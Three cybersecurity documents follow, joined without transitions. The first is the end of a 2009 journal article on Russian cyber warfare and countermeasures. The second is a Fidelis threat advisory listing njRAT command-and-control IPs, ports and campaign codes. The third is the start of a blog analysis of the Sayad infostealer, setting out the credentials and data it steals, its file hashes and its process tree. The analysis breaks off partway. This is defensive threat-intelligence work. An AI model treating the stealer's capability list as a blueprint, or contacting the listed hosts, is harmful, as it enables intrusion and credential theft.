The idea for the warrant is not to send law enforcement officials into Russia, but to have the alleged perpetrators arrested whenever they leave the country (Baltic News Service, 2009).
Aleksandr Gostev, director of the Kaspersky Labs Global Research and Analysis Team, explains that hackers who participate in a distributed denial of service attack violate the Russian Criminal Code (Article 274, Violation of the Rules Governing the Use of Computers, Computer Systems, or Networks Thereof) and can be imprisoned for four years for violating the code.
But he also states that the article is rarely used (Buranov, Vodo  Yegikyan, 2009).
The examples of Russian citizens admitting to participating in the Estonian cyber attacks are grounds for Volume 11, 2009                                                   Baltic Security  Defence Review 26 Russian citizens to be arrested in other parts of Europe if Russia fails to uphold its own laws.
Similar actions occurred in the Georgian cyber attacks.
Messages were posted on Russian hacker forums on how to participate in shutting down Georgian websites.
The website StopGeorgia.ru was also established as a private forum to coordinate the denial of service attacks.
Jeff Carr, a network security expert and cyber analyst, established an all volunteer group to investigate the cyber attacks.
Throughout the course of the investigation, which they named Project Grey Goose, no evidence was found to implicate the Russian government.
This was just another example of a hactivist movement which had the collective power to conduct a cyber attack against a government.
(
Melikishvili, 2008/2009) The Project Grey Goose investigation has looked at hactivists and how they can independently conduct cyber attacks.
It also focused on a criminal gang known as the Russian Business Network (R.B.N.
).
The R.B.N.
is based in St. Petersburg and engages in criminal cyber activities.
According to Don Jackson, the director of threat intelligence at Secure Works, some of the cyber attacks used against Georgian websites originated from computers under the control of the R.B.N.
As is the case with any cyber attacks it is very difficult to establish who is completely responsible or if there is any Russian government sanctioned involvement.
(
Markoff, 2008a) This article has already noted that there are other groups involved with cyber attacks against former Soviet satellites.
The evidence of Russian government involvement will now be investigated (Davis, 2009).
Indeed, some statements made by Russian government officials suggest Russian government involvement in cyber attacks.
Prior to the cyber attacks in Estonia the Russian government protested the movement of the Russian memorial, the Bronze Soldier, to the Estonian government.
The Russian government warned how disastrous the move would be to Estonia.
What followed were the protests and the cyber attacks.
(
Davis, 2009) The head of the Russian Army Centre for Military Forecast, Colonel Anatoly Tsyganok, made comments to the Russian news outlet, Gazeta, about the cyber attacks on Estonia.
He believes that there was nothing wrong with the attacks because there are no international agreements established.
Colonel Tsyganok also believes that NATO couldnt do Baltic Security  Defence Review                                                   Volume 11, 2009 27 anything to stop the attacks, and that they were highly successful.
(
prygi.blogspot.com9, 2008) The most telling example of Russian government involvement in cyber warfare was with Herman Simm selling IT secrets to the Russian Foreign Intelligence Service that was discussed earlier in this article.
This examples shows that the government of the Russian Federation is actively seeking information on cyber defences and is willing to pay large sums of money (Mr. Simm is accused of selling cyber security secrets for millions of dollars) to receive information on cyber security.
(
Melikishvili, 2008/2009) There are also cases where cyber attacks were used against people who are in opposition to the Russian government.
One such example is with Gary Kasparov, Russian opposition party leader, had his website shut down for two weeks due to denial of service attacks during the Russian presidential campaign.
John Palfrey, a researcher at Harvard Law School, believes that several organizations in Russia who plan to protest, or act in opposition to the Russian government, are subjected to cyber attacks in an attempt to control the information that is getting to the public.
(
Greenberg, 2008) Another example of Russian government complicity is the lack of assistance or interest in tracking down those responsible for the cyber attacks against governments of former Soviet satellites (Davis, 2009).
The evidence of government involvement remains circumstantial, but certain facts are clear concerning cyber security and former Soviet satellites.
If there is opposition to Russian Federation policy than that country that is in opposition is likely to be subject to a cyber attack and it has been shown that the Russian Federation actively collects information on other countries cyber defences.
10.
The future of Russian cyber warfare The perception exists among different nations (some of those nations have been discussed earlier in this study) that the government of the Russian Federation has been involved in cyber attacks.
This section will examine future trends concerning the use of cyber attacks by, or sanctioned by, the Russian Federation government.
The cyber attacks against Estonia and Georgia have forced Russia to evaluate its future cyber strategy.
In examining the Russian focus on improving its cyber strategy some Volume 11, 2009                                                   Baltic Security  Defence Review 28 conclusions can be drawn about the future of Russian cyber warfare.
(
Panarin, 2008) As with many countries that have an advanced IT system, a sub-culture of hacking has developed.
Even though the state sponsored university in St. Petersburg produces computer programmers that are highly regarded it is believed that most of the hackers are young and not educated at the university level.
The reason behind the growth of Russian computer hackers is the prestige and monetary reward that hacking garners in a growing IT infrastructure.
(
Varoli, 2000) The criminal organization, R.B.N., has been able to conduct its cyber activities with little interference from the Russian Federation government.
The R.B.N.
is very difficult to track on the internet as they are able to locate their activities from several different locations.
The group has been involved in several different types of criminal cyber activities such as the use of malware, identity theft, and child pornography.
Without any concerted effort to stop the R.B.N., and their ability to operate anywhere, R.B.N.
is an organization that is positioned in Russian cyber activities now and in the future.
(
Markoff, 2008a) One example of latitude and scope created by Russian indifference, a group identified by a computer security firm as a Russian gang conducted a botnet based computer operation operating in Wisconsin.
The Russian gang was controlling as many as 100000 computers in an effort to steal passwords and information.
As soon as the system was shut down the Russian gang moved its host computer system to a site in the Ukraine.
This shows how resilient these gangs are when they can relocate their operating systems to countries that are out of reach of law enforcement of the country that they are targeting.
(
Markoff, 2008b) The Russian responses to the recent cyber attacks are a guide to how they will react in the future.
Valery Yashenko, vice director of the Institute of Information Security Issues at Lomonosov Moscow State University, advises the Russian government on the issues of cyber terrorism.
Yashenko believes that there should be greater international cooperation concerning cyber security but does not think that the cyber attack on Estonia was of any real consequence.
Yashenko indicates that the Russian Federation government is only concerned with cyber security matters that affect his own government.
(
Davis, 2009) Baltic Security  Defence Review                                                   Volume 11, 2009 29 Not surprisingly, the Russian Federal Security Service (F.S.B.)
is believed to employ its own hackers (Varoli, 2000).
The manner of recruiting is a little different than normal ways of looking for employees.
When an IT specialist or hacker is caught committing a cyber crime they may receive an offer to work for the F.S.B., or face criminal charges.
According to a Russian computer security specialist hackers that were working for the F.S.B.
attacked pro-Chechen web sites.
According to the same computer security specialist the F.S.B.
hackers have hacked into opposition newspapers in order to control information about the Russian Federation government and its leaders.
The recruitment of hackers for offensive cyber attacks vice cyber defences is an indication of the future Russian Federation government cyber strategy.
(
Varoli, 2000) The Russian Federation government has shown the capability for law enforcement in cyber space.
Laws exist in Russia that make crimes committed on the internet punishable under the law.
Russia has even established a computer crime unit, which it called Department K, which operates under the Ministry of Internal Affairs of the Russian Federation (MVD).
Department K is responsible for the detection, prevention, suppression, and solving crimes involving information technology.
In 2008, Department K was able to identify 158 computer crimes and shut down seven illegal internet operations.
The MVD is currently conducting Project Clean Network aimed a combating illegal uses of the internet (Ministry of Internal Affairs of the Russian Federation, undated).
It remains to be seen whether the efforts of Department K will have any negative impact on the R.B.N.
or the cyber gangs that support the Russian government.
The Russian Federation Public Chamber10 organized a discussion on Russian information warfare in September 2008 and Just Russia11 political party hosted an international conference on information warfare in October 2008.
The conclusions of the meeting were that Russia has grossly underestimated the role of information warfare and failed to champion their goals and interests in the world media.
(
Panarin, 2008) Dr. Igor Panarin, the Dean of the Faculty of International Relations of the Ministry of Foreign Affairs Diplomatic Academy in Moscow, used the information warfare discussions to make several recommendations to the Russian government concerning information and cyber warfare.
Dr. Volume 11, 2009                                                   Baltic Security  Defence Review 30 Panarin proposes that Russia develop specialized management and analytical structures to counter information threats.
Dr. Panarin proposes a system that has eight key components.
(
Panarin, 2008) The first component is the creation of a Council for Public Diplomacy that will develop a single point of view for both the Russian government and Russian businesses.
Government and business leaders are to be included on the council in order to ensure that all activities concerning foreign political media are coordinated.
The second component is to create an advisor to the President of Russia for Information and Propaganda Activities in order to coordinate the foreign political information activities of the administration of the President, the government, different ministries, and the Russian Security Council.
(
Panarin, 2008) The third and fourth components are to create state holding companies, one for foreign media affairs and one for the internet.
The holding companies would be combined between business and government to see that Russian political positions were broadcast to the world.
The information would not just be focused towards ethnic Russians but would be focused globally towards economic partners, future partners, adversaries, and overall world opinion.
(
Panarin, 2008) The fifth component would be the creation of an information crisis action centre in order to ensure that Russia maintains the initiative when delivering the state message to the world.
The information crisis action centre would be responsible for developing talking points and themes that would support the government in any crisis.
(
Panarin, 2008) The sixth component would create an information countermeasures system that would counter enemy information operations.
The information countermeasures system would include assets from business and the government.
The seventh component focuses on a system on nongovernmental organizations that would operate throughout the world.
(
Panarin, 2008) The final component would consist of a system for training information warfare specialists.
This system would use existing educational institutions and academies to train specialists that would be able to operate at the diplomatic, management, or individual level.
The training system would Baltic Security  Defence Review                                                   Volume 11, 2009 31 also include the creation of an Information Special Forces that are highly trained to for conducting information operations in a crisis.
(
Panarin, 2008) Along with the creation of the information warfare system Dr. Panarin believes that financing for information warfare needs to be increased by both the Russian government and by Russian businesses.
The increased attention on information warfare is designed to increase Russias image throughout the world and ensure that Russia is prepared for future conflict in the cyber and information arenas.
(
Panarin, 2008) Statements by Russian government officials have been very similar to Dr. Panarins position which makes the future of cyber warfare in Russia offensively poised.
Colonel Aleksandr Drobyshevskiy, head of the Russian Federation Ministry of Defence Directorate for Press Service and Information, stated that Georgia won the information war during the conflict in South Ossetia and there is a need for the development of information and telecommunications technologies within the Ministry of Defence.
Colonel Drobyshevskiy further advocates the creation of an information warfare system.
(
Svobodnaya Pressa, 2009) Another clue to the future of Russian cyber warfare is the development of a new information warfare defensive strategy by the Russian Armed Forces General Staff.
Colonel-General Anatoliy Nogovitsyn, Deputy Chief of the General Staff, stated that leading world powers will be able to conduct full- scale information warfare and that Russia must be prepared (Usov, 2009).
General Nogovitsyn believes that Russia will be involved in a large-scale information war within two to three years that will be fought in the cyber world (Litovkin, 2009).
The existence of hackers that support the Russian government and information specialists within the Russian government have created an asset that will be used during future cyber conflicts.
The Russian governments emphasis on developing cyber strategies will enable Russia to be prepared for future cyber conflict.
11.
Countermeasures We need to examine what can be done to counter cyber crimes and protect a nations IT structure.
Cyber countermeasures can be taken at the international level, followed by cyber defences at the national level, and Volume 11, 2009                                                   Baltic Security  Defence Review 32 ending with actions that an individual computer user can make to improve cyber defence.
The International Telecommunication Union (ITU), the organization within the UN that is responsible for the international oversight of the worlds telephone system, is developing a system for oversight of the internet.
The ITU is working towards a convention against cybercrime that will provide international cooperation on issues concerning internet communications (Schrank, 2007).
Members of the international community will need to work together in order to track and prosecute cyber criminals that operate outside of the country that is being attacked.
Nations will also have to work together to share technical data to maintain cyber defences to keep up with the newest and ever changing cyber attacks.
Hackers routinely share information on new techniques that can penetrate IT defence structures.
Nations need to do the same to protect their own IT infrastructure, the same IT structure that affects the entire globe (Lipson, 2002:47-48).
Individual countries can improve their cyber defences within their own boundaries which would also improve the cyber security of the international IT system.
Countries can make laws making cyber crimes illegal with punishments and programs that will deter potential cyber criminals.
Governments can create a system that increases co-operation between the government, businesses, and academic institutions in order to improve their cyber defences.
This co-operation could lead to an IT infrastructure that is resilient and able to withstand and recover from a cyber attack with little or no permanent damage to a countrys IT structure.
(
Schrank, 2007) In 8th section the computer user was identified as the weakest link in an IT system.
Some individual countermeasures are easy to accomplish for any computer user.
Actions like keeping antivirus and anti-spyware software up to date along with updating your web browser and operating system can greatly enhance your own computer security.
Even following safe computer practices of not opening unknown attachments on emails that may carry viruses or malware are very instrumental in making the cyber environment more secure (Secure Works Press Release, 2008).
The U.S. Department of Homeland Security (DHS) has tips for computer users posted on their website to increase internet security.
The main points of the DHS website are to promote personal responsibility for increasing Baltic Security  Defence Review                                                   Volume 11, 2009 33 cyber security and to promote best practices for safe computer usage.
The best practices that DHS advertises are to make cyber security a habit by following three core practices.
The three core practices are to install anti- virus and anti-spyware programs and keep them up to date, install a firewall and keep it properly configured, and to regularly install updates on your computers operating system (Homeland Security, 2008).
Computer users are the first line of defence in cyber security and their actions can help protect the cyber infrastructure that is used by all.
Conclusion The international system is lacking in its ability to effectively manage issues of cyber security.
The Russian Federation is perceived by the international community as a country that engages in or supports groups that are involved in cyber crime.
International and regional organizations along with countries that interact with the Russian Federation have to deal with a reality that they may be the target of a cyber attack if they are in opposition to the government of the Russian Federation.
The issue of cyber security is ongoing.
As more of the former Soviet satellites become more developed with an advanced IT structure they will have to face the realities of cyber attacks.
Regardless of whether the government of the Russia Federation has been involved in any cyber attacks, or will be in the future, the reality remains that nations, groups, or individuals that are in opposition to Russia may face a cyber attack.
The cyber attacks will be used to influence public opinion or to influence government leaders through the use of cyber pressure.
Future conflicts that involve the use of force will also see cyber attacks in conjunction with combat operations.
Currently international agreements and laws are inadequate which allows cyber attackers to take advantage of the lack of such laws and can conduct acts of civil disobedience on the internet.
The conflict in Georgia has been a motivator for military reform which includes reform in the cyber arena.
The Russian government and the Russian military will continue to develop systems to improve both their offensive and defensive cyber capabilities.
Russia will continue to capitalize on their diaspora present throughout the world to support their political positions but will have to realize that some of that diaspora will be in opposition to them and provide private support to organizations and nations that have received cyber attacks.
Russias active collection of cyber Volume 11, 2009                                                   Baltic Security  Defence Review 34 defence secrets will also be a combat multiplier for them in future conflicts either alone in the cyber world or as part of a ground conflict.
Organizations and nations will be best served by creating a resilient defence in depth while educating users and managers of IT systems in best practices to counter the threat of a cyber attack.
This defence in depth includes technical responses to counter the threats while ensuring that their IT systems are resilient and become effective after an attack.
President Bush remarked in 2001 that, Its time to work together to address the new security threats that we all face.
And those threats are not simply missiles or weapons of mass destruction in the hands of untrustworthy countries.
Cyber-terrorism is a threat, and we need to work on that together (Verton, 2003:248).
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1 Personal recollection of the author who lived in Estonia from July 2007 to June 2008.
2 Multiple sources were used along with the authors personal recollections of living in Estonia.
Three of the main sources that describe the attack are:  Davis, Joshua, 2009.
Hackers Take Down the Most Wired Country in Europe.
Wired Magazine.
Issue 15 Kampmark, Binoy, Autumn 2003.
Cyber Warfare Between Estonia And Russia.
Contemporary Review.
pp.
288-293 Aaviksoo, Jaak, 2007 (Nov. 28th) Address by the Minister of Defence of the Republic of Estonia at The Centre for Strategic  International Studies, Washington, D.C. Volume 11, 2009                                                   Baltic Security  Defence Review 40 3 This reference offers an Estonian view of its history and underlines the reasons behind the friction between Russia and Estonia.
4 SecureWorks is an internet security firm based out of Atlanta.
The company tracks suspicious activities throughout the internet.
5 Entered into force refers to the date that the treaty becomes enforceable according to the provisions of the treaty by the members that have agreed to the treaty.
6 WMD Insights is a journal sponsored by the U.S. Defence Threat Reduction Agency.
7 Idea based on comments used by Jaak Aaviksoo in 2007.
Minister Aaviksoo used this technique to show that some members of the audience may unknowingly be helping cyber-terrorists.
Jaak Aaviksoo, Address by the Minister of Defence of the Republic of Estonia delivered to the Centre for Strategic  International Studies, Washington, D.C., November 28, 2007.
8 Russia Today is a globally broadcast news channel broadcast in the English language and owned by the Russian government news agency RIA-Novosti.
Similar in programming to CNN and BBC but with a Russian perspective on events in the world news.
9 Information from a Russian and English language blog that discusses issues concerning Russia.
10 The Russian Federation Public Chamber is an organization created in 2005 to oversee all aspects of government and to act as a consultant to the heads of the Russian government.
The Russian Federation Public Chamber Website, About the House: On the Public Chamber of Russian Federation, http://translate.google.ru/translate?hlenlangpairruenuhttp://www.oprf.
ru/.
(accessed April 10th, 2009).
11 A Just Russia is a Russian political party created as an opposition party but still supports the power of the Russian executive branch (Abdullaev, 2006).
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This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of General Dynamics Fidelis Cybersecurity Solutions, Inc.
While we have done our best to ensure that the material found in this document is accurate, General Dynamics Fidelis Cybersecurity Solutions, Inc. makes no guarantee that the information contained herein is error free.
Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-12-02 Threat Advisory 1010 Page 1 of 6 njRAT, The Saga Continues Fidelis Threat Advisory 1010 njRAT, The Saga Continues December 2, 2013 Document Status: FINAL Last Revised: 2013-12-02 Executive Summary In June 2013, we released a paper containing information about the njRAT malware that included its functionality, indicators of compromise, and campaign codes used on the variants we had identified.
(
http://www.fidelissecurity.com/threatadvisory).
To this day, we continue to observe waves of blunt phishing attacks from compromised hosts in the Middle East, showing threat actors using multiple tools (including njRAT, AdwindRAT, Xtreme RAT, and H-Worm) in clustered phishing attacks against the same targets.
Some of these attacks continue to target the U.S. telecommunications sector with threat actors sending phishing emails using business-oriented lures containing the aforementioned tools or links to websites that serve these tools.
Additionally, we continue to directly observe significant activity from threat actors sending commands to the victim systems in the Middle East.
Further, we are observing attackers using the following obfuscators to make detection of this malware specimen more difficult for security analysts: - .NetShrink (http://www.pelock.com/products/netshrink) - Confuser v1.9.0.0 (http://confuser.codeplex.com/) - .NET Reactor (http://www.eziriz.com/) This document provides details of the njRAT campaign codes used, versions, ports, and CnC nodes currently observed sending commands to victim systems.
Its also clear that threat actors are actively using the following version of njRAT: 0.3.6, 0.4.1a, 0.5.0E, 0.6.4.
Threat Overview njRAT is a robust remote access trojan (RAT) which upon reaching and infecting an end-point, allows the attacker to have full control over the victim system.
Among other things, with this access, the attacker could start scanning other systems in the victim network to perform lateral movement.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-12-02 Threat Advisory 1010 Page 2 of 6 njRAT, The Saga Continues Indicators and Mitigation Strategies The following table contains information about the observed CnC nodes, ports, campaign codes, and njRAT versions: CnC Port CnC GeoLocation Campaign Code (Base64 encoded) Campaign Code (Base64 decoded) Version 105.129.18.216 1177 Morocco SGFja2VkIEJ5IEPDoH BpaVRvc184NEFERTA yRA Hacked By C piiTos_84ADE0 2D 0.6.4 105.157.2.178 1177 Morocco S3J5c3RhbF84NEFER TAyRA Krystal_84ADE02D 0.5.0E 108.62.213.238 1177 Phoenix, AZ, United States QkJNIFBJTl8xQ0NDRj Y5Ng BBM PIN_1CCCF696 0.6.4 108.62.213.67 1177 Phoenix, AZ, United States QkJNIFBJTl8xQ0NDRj Y5Ng BBM PIN_1CCCF696 0.6.4 122.151.223.20 3 1177 Melbourne, Australia am5vbjlfQTY3QzdDMD E jnon9_A67C7C01 0.6.4 145.255.78.228 1177 Muscat, Oman WHhYX1h4WF8yMEJG MDgzQg XxX_XxX_20BF08 3B 0.5.0E 149.200.131.81 1177 Jordan SGFjS2VkX0RFNkEyM ENB HacKed_DE6A20C A 0.6.4 149.200.224.19 6 1177 Jordan SGFjS2VkX0RFNkEyM ENB HacKed_DE6A20C A 0.6.4 159.0.83.175 100 Khobar, Saudi Arabia SGFjS2VkXzI0NjlFQTI5 HacKed_2469EA2 9 0.5.0E 178.238.189.53 1177 Amman, Jordan QkJNIFBJTl8xQ0NDRj Y5Ng BBM PIN_1CCCF696 0.6.4 188.121.234.17 1177 Paris, France SGFjS2VkX0I0MkY4Nj Az HacKed_B42F860 3 0.6.4 188.121.236.87 1177 Paris, France SGFjS2VkX0I0MkY4Nj Az HacKed_B42F860 3 0.6.4 188.121.242.49 1177 Paris, France SGFjS2VkX0I0MkY4Nj Az HacKed_B42F860 3 0.6.4 188.50.60.154 1177 Jiddah, Saudi Arabia d2luMzJfMzRDOEM5Q kY win32_34C8C9BF 0.6.4 188.51.30.43 1177 Jiddah, Saudi Arabia SGFjS2VkXzRDMTBD RTND HacKed_4C10CE3 C 0.6.4 188.51.69.179 1177 Jiddah, Saudi Arabia SGFjS2VkXzc2MTQ4Qj VG HacKed_76148B5 F 0.5.0E 188.53.13.164 1177 Riyadh, Saudi TXIuRk9YX0VGRTE3Q Mr.FOX_EFE17AA 0.4.1a www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-12-02 Threat Advisory 1010 Page 3 of 6 njRAT, The Saga Continues Arabia UE 188.55.10.93 1177 Jiddah, Saudi Arabia SGFjS2VkX0YyNjE4MT hG HacKed_F261818F 0.5.0E 188.66.233.10 192 Muscat, Oman SC1Xb3JtXzU4MzMzM TFD H- Worm_5833311C 0.5.0E 197.1.104.120 1177 Tunisia YnkgYW5nbGUxMF8y NDMzM0Q2Qg by angle10_24333D6 B 0.6.4 197.200.4.207 1177 Algeria SGFjS2VkXzVFNjM3Q TM0 HacKed_5E637A3 4 0.6.4 197.205.71.16 1177 Algeria SGFjS2VkXzVFNjM3Q TM0 HacKed_5E637A3 4 0.6.4 197.205.81.38 1177 Algeria SGFjS2VkXzVFNjM3Q TM0 HacKed_5E637A3 4 0.6.4 197.39.177.138 1177 Egypt 4paRIE5lVyBVc2VS4pa RIF83RTFFQUFCNw  NeW UseR _7E1EAAB7 0.4.1a 197.39.229.96 1177 Egypt 4paRIE5lVyBVc2VS4pa RIF9GRTQwOEVFRQ  NeW UseR _FE408EEE 0.4.1a 37.106.93.153 1177 Riyadh, Saudi Arabia 2KfZhNi52YrYryDYudm A2YDZitiv2YrZhiDZhdi5 2KfZg9mFX0Y4REJDO UMz  F8DBC9C3_ 0.4.1a 37.16.55.155 1177 Saudi Arabia 2LHZiNin2KrYsV9DNk U4NTI4NA C6E85284 0.5.0E_ 37.200.239.243 1177 Oman VFRUVF81MEMwNDY wNA TTTT_50C04604 0.5.0E 37.238.194.107 1177 Iraq 2YLZhtin2LUg2KjYutiv2 KfYr18yNDMzM0Q2Qg  (0xD982D986D8A7 D8B520D8A8D8B AD8AFD8A7D8AF) _24333D6B Potential HEX-2- String: Potential translation to English: Baghdad Sniper 0.6.4 37.238.233.102 1177 Iraq SGFjS2VkX0I4MTkzOT Ey HacKed_B8193912 0.5.0E 41.103.74.108 1177 Ouled Yach, Algeria dmljdGltXzI0MzMzRDZ C victim_24333D6B 0.6.4 www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-12-02 Threat Advisory 1010 Page 4 of 6 njRAT, The Saga Continues 41.104.68.83 1177 Algeria dmljdGltXzI0MzMzRDZ C victim_24333D6B 0.6.4 41.107.233.206 1177 Algeria MjAxM18xRUYwNzBE NA 2013_1EF070D4 0.4.1a 41.230.233.96 1177 Safaqis, Tunisia SGFjS2VkXzRBQjAwN EQ4 HacKed_4AB004D 8 0.5.0E 41.237.75.126 1177 Cairo, Egypt 2YfZh9mH2YcgXzI0Mz MzRDZC (0xD987D987D987 D98720)_24333D6 B Potential HEX-2- String: Potential translation to English: Haha 0.6.4 41.251.165.158 1177 Casablanca, Morocco REE3aWFfNjBEMDUw QzM DA7ia_60D050C3 0.5.0E 41.252.201.131 1177 Libya 4pyrLS3il48g4pyYSM6s Y2tlxqbinJgg4pePLS3in KtfNDQ1RUJDMjc -- Hcke -- _445EBC27 0.6.4 41.252.227.78 1177 Benghazi, Libya 4pyrLS3il48g4pyYSM6s Y2tlxqbinJgg4pePLS3in KtfNDQ1RUJDMjc -- Hcke -- _445EBC27 0.6.4 41.35.161.186 1177 Cairo, Egypt WFhYWFhYWFhYWFh YWFhYWFhYWFhYX0 U2NTYxNkEz XXXXXXXXXXXXX XXXXXXXX_E656 16A3 0.5.0E 41.35.182.232 1177 Alexandria, Egypt WFhYWFhYWFhYWFh YWFhYWFhYWFhYX0 JDMkY0NjY5 XXXXXXXXXXXXX XXXXXXXX_BC2F 4669 0.5.0E 41.35.193.145 1177 Mansoura, Egypt WFhYWFhYWFhYWFh YWFhYWFhYWFhYXz VFRUQyREY5 XXXXXXXXXXXXX XXXXXXXX_5EED 2DF9 0.5.0E 46.20.37.177 1177 Germany RGVhZGx5IEhhY2tlcl9 CMEM3MkY5MA Deadly Hacker_B0C72F90 0.6.4 5.0.236.136 1177 Syrian Arab Republic SGFjS2VkX0E2OTlER TU4 HacKed_A699DE5 8 0.5.0E 5.0.42.144 1177 Syrian Arab Republic aGhoaGhoaGhoaWtra2 traywsX0ZDQUZDNDB F hhhhhhhhhikkkkkk, ,_FCAFC40E 0.6.4 5.21.235.105 1177 Oman amVuc2lpaV8xQzAyQ UNBNQ jensiii_1C02ACA5 0.5.0E 5.245.30.151 1177 Saudi Arabia 2LPZgNmA2YDZgNmA 2YDZgNmE2KfZhSBA  _C6F05B1E 0.5.0E www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-12-02 Threat Advisory 1010 Page 5 of 6 njRAT, The Saga Continues QF9DNkYwNUIxRQ 77.30.214.106 87 Riyadh, Saudi Arabia bW9oYW1tYWRfQUUy MDAwMkU mohammad_AE20 002E 0.5.0E 78.155.90.73 1177 Syrian Arab Republic Vi5JLlBfNDY1NTFCNT g V.I.P_46551B58 0.5.0E 79.124.66.146 1177 Bulgaria SGFjXzZFREVEODc5 Hac_6EDED879 0.6.4 79.124.66.148 1177 Bulgaria SGFjXzZFREVEODc5 Hac_6EDED879 0.6.4 79.124.66.177 1177 Bulgaria SGFjXzZFREVEODc5 Hac_6EDED879 0.6.4 79.124.66.197 1177 Bulgaria SGFjXzZFREVEODc5 Hac_6EDED879 0.6.4 79.124.66.200 1177 Bulgaria SGFjXzZFREVEODc5 Hac_6EDED879 0.6.4 79.124.66.205 1177 Bulgaria SGFjXzZFREVEODc5 Hac_6EDED879 0.6.4 90.148.71.207 1177 Mecca, Saudi Arabia NjRfNkMyRUJEMkY 64_6C2EBD2F 0.5.0E 90.153.166.68 1177 Syrian Arab Republic SGFjS2VkX0FFNTE5N UVB HacKed_AE5195E A 0.3.6 90.153.204.11 1177 Syrian Arab Republic SGFjS2VkX0FFNTE5N UVB HacKed_AE5195E A 0.3.6 90.153.205.21 1177 Syrian Arab Republic SGFjS2VkXzU0OTQ2O TJB HacKed_5494692A 0.3.6 91.140.142.16 1177 Kuwait, Kuwait SGFjS2VkXzg4NzQ4O Tgz HacKed_88748983 0.6.4 94.203.114.61 1177 Dubai, United Arab Emirates TWF2ZVJpY2tfRUNEO TRBNUI MaveRick_ECD94 A5B 0.6.4 94.249.67.47 1177 Amman, Jordan SGFjS2VkX0RFNkEyM ENB HacKed_DE6A20C A 0.6.4 94.249.69.118 1177 Amman, Jordan SGFjS2VkXzI0MzMzR DZC HacKed_24333D6 B 0.6.4 The Base64 encoded data can be observed in the network traffic The Fidelis Take Its clear from this paper that there continues to be considerable global activity involving threat actors using njRAT and associated tools.
Were publishing these indicators so that others in the security research community can monitor for this activity and potentially correlate against other campaigns and tools that are being investigated.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-12-02 Threat Advisory 1010 Page 6 of 6 njRAT, The Saga Continues Fidelis XPS detects all of the activity documented in this paper.
The Fidelis Threat Research Team will continue to actively monitor the ever-evolving threat landscape for the latest threats to our customers security.
Sayad (Flying Kitten) Infostealer  is this the work of the Iranian Ajax Security Team?
Information stealing malware has become increasingly popular among malware authors targeting not just typical end-users, but also specific organizations and states.
We have come across an intriguing piece of malware (dubbed Sayad) that implements multiple host data collection methods and wraps them up into a single .NET DLL.
Sayad malware is typically distributed through phishing emails.
Introduction This week I got hold of a sample of Sayad, so I ran it through our Vinsula Execution Engine (VEE) to find out what it does and how it works.
Credit for sharing the sample of the malware goes to MalwareChannel.
The information this malware is able to steal and upload to a Web server controlled by the hackers is highly sensitive and would have an enormous impact on compromised individuals, businesses, and governments.
Some of the tasks Sayad is designed to accomplish include: Get and send host system information, including: Host computer name Internal and external IPs Languages installed User name Running processes Open ports Capture and record keystrokes through a user mode key logger Periodically capture information stored in the clipboard Collect and transfer user information for FTP Clients  FileZilla and WinSCP Get data account information for FileZilla FTP Server Transfer Kerio VPN client user configuration files Collect and transfer bookmarks for Chrome, Firefox, Internet Explorer, and Opera Steal browser cookies for Chrome, Firefox, Internet Explorer, and Opera Collect and transfer history for Chrome, Firefox, Internet Explorer, and Opera Capture any registered proxies Get and transfer the start URL for each installed browser Collect and transfer chat history for Skype, Yahoo Messenger, Pidgin, and GTalk Steal RDP, Putty accounts Collect VPN related account information for Proxifier and WinVPN Determine if the currently logged on user is running as admin https://twitter.com/MalwareChannel At the time of writing of this post, the detection rate for Sayad malware binary (SHA2:8904836017bc20972a769f8d4d6bee08388da3d0f83e362e67f9f0b6b1ae5c12) at VirusTotal is zero.
https://www.virustotal.com/en/file/8904836017bc20972a769f8d4d6bee08388da3d0f83e362e67f9f0b6b1ae5c12/analysis/ http://vinsula.com/wp-content/uploads/2014/07/VT-DiagnosticsService.dll-small1.png There are several interesting aspects of Sayad malware, and after running the malicious executable through the Vinsula Execution Engine to analyze its behavior, I discovered that the initial executable titled WEXTRACT.exe (SHA1:1c52b749403d3f229636f07b0040eb17beba28e4) was in fact a self extracting EXE that dropped and launched the Binder executable malware, 8f60957b3689075fa093b047242c0255.exe (SHA1:69fd05ca3a7514ea79480d1dbb358fab391e738d).
Once the Binder executable malware is launched, it checks the .NET version installed on the machine and drops the information stealer DLL component, Sayad (aka Client)  DiagnosticsService.dll (SHA1:8521eefbf7336df5c275c3da4b61c94062fafdda).
Sayad has some characteristics that make it unique: Sayad has been designed by someone who seems to have a .NET OOP/OOD background It uses some non-traditional methods for native to .NET interop like exporting a manged API through the native Export Address Table The malware uses an oversimplified form of obfuscation for string utilizing Base64 encoding which in fact can be easily de-obfuscated Our collegues from NCC Groups Cyber Defence Operations published an article titled A new Flying Kitten?
with some details around Sayad malware and its possible link to the activities of the Iranian hacking group Ajax Security Team.
Attack Overview The diagram below outlines the key elements of the attack.
The malware executable is delivered by a phishing email or the user is somehow tricked into downloading it and executing it.
Once the user clicks on the malware, it extracts the actual malware executable and launches it.
http://vinsula.com/wp-content/uploads/2014/07/VT-DiagnosticsService.dll-small1.png https://www.nccgroup.com/en/blog/2014/07/a-new-flying-kitten/ Analysis Our first step was to run the Sayad binary through our Vinsula Execution Engine to find out just what it does.
The process tree below as reported by our engine allows us to visually present the parent/child relationship between all the processes and their command lines related to the execution for this specific malware.
explorer.exe [Process Id: 140] WEXTRACT.exe [Process Id: 3508] http://vinsula.com/wp-content/uploads/2014/07/2014-07-20-Sayad-InfoStealer1.png 8f60957b3689075fa093b047242c0255.exe [Process Id: 2544] rundll32.exe [Process Id: 2596] Cmd line: rundll32.exe DiagnosticsService.dll,78121 csc.exe [Process Id: 2672] cvtres.exe [Process Id: 256] csc.exe [Process Id: 3548] cvtres.exe [Process Id: 3280] For the sake of shortness, in this post we omit the command line details in the process tree above for the csc.exe and cvtres.exe instances.
